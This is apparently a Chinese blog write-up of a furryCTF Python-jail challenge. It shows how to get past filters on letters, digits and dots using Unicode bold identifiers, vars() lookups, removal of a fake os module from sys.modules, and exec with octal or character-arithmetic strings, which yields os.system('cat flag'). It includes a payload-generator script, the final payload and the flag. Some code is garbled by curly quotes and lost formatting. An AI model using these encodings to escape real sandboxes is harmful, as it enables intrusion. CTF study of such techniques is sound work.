?????https://www.cnblogs.com/luxlu/p/19599000/furryCTF-KUNSHOUZHIDOU

furryCTF-Misc-困兽之斗

一、题目分析

1.1 沙箱限制

┌──(kali㉿kali)-[~]
└─$ nc ctf.furryctf.com 32961

??
/
|•ᴥ•|
| 0101 |
|H4CK3R|
_
_/

Well,I just banned letters,digits, ‘.’ and ‘,’
And also banned getattr() and help() by replacing it
And I banned os,subprocess module by pre-load it as strings
Just give up~
Or you still wanna try?

根据提示,ban掉了:

  • letters(字母) - 所有英文字母 a-z, A-Z
  • digits(数字) - 所有数字 0-9
  • 点号 . - 不能用点访问属性
  • 逗号 , - 不能用逗号分隔参数
  • getattr() 函数 - 被替换成空函数
  • help() 函数 - 被替换成空函数
  • os 模块 - 被预加载为字符串
  • subprocess 模块 - 被预加载为字符串

简单说就是:不能直接写正常的 Python 代码,因为变量名、函数名都需要字母和点号

1.2 攻击目标

我们需要绕过所有限制,最终执行系统命令(如 cat flag)来获取 flag。

二、绕过策略详解

2.1 绕过字母限制 - Unicode Normalization

核心原理: Python 3 在解析代码时会自动将某些 Unicode 字符(如数学粗体字母)转换为标准 ASCII 字符

**<font style="background-color:#FBDE28;">数学粗体不算字母</font>**

# 输入:𝐞𝐱𝐞𝐜  (数学粗体)
# Python 解析后:exec  (标准 ASCII)
def bold_text(text):
    """将 ASCII 字母转换为 Unicode 数学粗体形式"""
    result = []
    for char in text:
        if 'A' <= char <= 'Z':
            bold_char = chr(ord(char) + 0x1D400 - ord('A'))
            result.append(bold_char)
        elif 'a' <= char <= 'z':
            bold_char = chr(ord(char) + 0x1D41A - ord('a'))
            result.append(bold_char)
        else:
            result.append(char)
    return ''.join(result)

if name == “main“:
user_input = input(“请输入要加粗的文本: “)
print(“\n转换结果:”)
print(bold_text(user_input))

eg:

  • exec𝐞𝐱𝐞𝐜
  • chr𝐜𝐡𝐫
  • ord𝐨𝐫𝐝
  • vars𝐯𝐚𝐫𝐬

2.2 绕过点号限制 - 使用 vars()

通常我们使用 obj.method() 来调用方法,但点号被禁用了。

解决方案: 使用 vars() 函数获取对象的属性字典

# 传统方式(被禁用)
os.system('cat flag')

绕过方式

vars(os)[‘system’](‘cat flag’)

vars() 函数说明:

  • vars(obj) 返回对象的 __dict__ 属性
  • 可以通过字典访问的方式调用方法
  • 等价于 obj.__dict__['method']()

2.3 解封 os 模块 - 删除 sys.modules

题目预先将 sys.modules['os'] 设置为字符串 'Forbidden',导致无法正常导入。

Python 导入模块时会先检查 sys.modules

  1. 如果模块已存在,直接返回缓存的模块
  2. 如果不存在,才会真正导入
# 删除伪造的模块
del modules['os']

重新导入真正的 os 模块

import(‘os’)

2.4 多行代码执行 - 使用 exec()

  • eval() 只能执行单个表达式
  • 逗号被禁用,无法使用海象运算符 :=
  • 需要执行多条语句(删除模块 + 导入模块 + 执行命令)

使用 exec() 执行多行代码:

exec("del modules['os']\nvars(__import__('os'))['system']('cat flag')")

exec() v.s. eval()

  • eval():只能执行单个表达式,有返回值
  • exec():可以执行多条语句,无返回值

2.5 绕过数字限制 - 八进制 + 字符运算

数字被禁用,无法直接写字符串。

八进制转义

# 'd' 的 ASCII 码是 100,八进制是 \144
"\144"  # 等价于 'd'

字符运算

使用带重音符号的字符进行加减运算:

# 'd' 的 ASCII 码是 100
chr(ord('ō') - ord('é'))  # 'ō' 是 333,'é' 是 233,差值是 100

为什么用减法而不是加法?

  • 加法可能产生 ASCII 字母(被检测)
  • 减法更容易控制结果范围

三、完整 Payload 构造

3.1 第一阶段:使用八进制

# 原始命令
exec("del modules['os']\nvars(__import__('os'))['system']('cat flag')")

转换为八进制(绕过字母和数字)

𝐞𝐱𝐞𝐜(“\144\145\154\40\155\157\144\165\154\145\163[‘\157\163’]\12\166\141\162\163(\151\155\160\157\162\164(‘\157\163’))‘\163\171\163\164\145\155’“)

注意: 换行符 \n 的八进制是 \12(不是 \1\2

3.2 第二阶段:使用字符运算(完全绕过数字)

将八进制中的数字也替换为字符运算:

𝐞𝐱𝐞𝐜(𝐜𝐡𝐫(𝐨𝐫𝐝('ō')-𝐨𝐫𝐝('é'))+𝐜𝐡𝐫(𝐨𝐫𝐝('ō')-𝐨𝐫𝐝('è'))+...)
# gen_payload_full_unicode.py

def to_math_bold(s):
“””将 ASCII 字母转为 Unicode 数学粗体”””
res = []
for c in s:
if ‘A’ <= c <= ‘Z’:
res.append(chr(ord(c) - ord(‘A’) + 0x1D400))
elif ‘a’ <= c <= ‘z’:
res.append(chr(ord(c) - ord(‘a’) + 0x1D41A))
else:
res.append(c)
return ‘’.join(res)

def char_to_expr(c):
“””
将单个字符 c 转换为 chr(ord(‘ō’) - ord(X)) 形式
其中 X = chr(333 - ord(c))
“””
code = ord(c)
base_char = chr(333 - code) # 因为 ord(‘ō’) = 333
# 返回字符串形式:chr(ord(‘ō’)-ord(‘X’))
return f”𝐜𝐡𝐫(𝐨𝐫𝐝(‘ō’)-𝐨𝐫𝐝(‘{base_char}’))”

def str_to_char_expr(s):
“””将整个字符串转为字符运算拼接表达式”””
parts = [char_to_expr(c) for c in s]
# 用 ‘+’ 连接(注意:不能用逗号!)
return ‘+’.join(parts)

原始 payload 内容

payload_code = ‘’’del modules[‘os’]
vars(import(‘os’))[‘system’](‘cat flag’)’’’

步骤 1: 将 payload_code 转为字符运算表达式

expr = str_to_char_expr(payload_code)

步骤 2: 构造 exec( … ) 调用

exec_call = f”𝐞𝐱𝐞𝐜({expr})”

print(“=== Final Payload (Full Unicode Char Arithmetic) ===”)
print(exec_call)
print(“\n=== Length:”, len(exec_call), “characters ===”)

furryCTF{b37bc8c8a3fe_jUSt_RUN_0Ut_Fr0M_thE_sand60x_WiTH_unIC0De}

  • 字母 → Unicode 粗体字母
  • 数字 → 八进制或字符运算
  • 点号 → vars() 字典访问
  • 模块限制 → 删除 sys.modules 缓存
  • 多行代码 → exec() 执行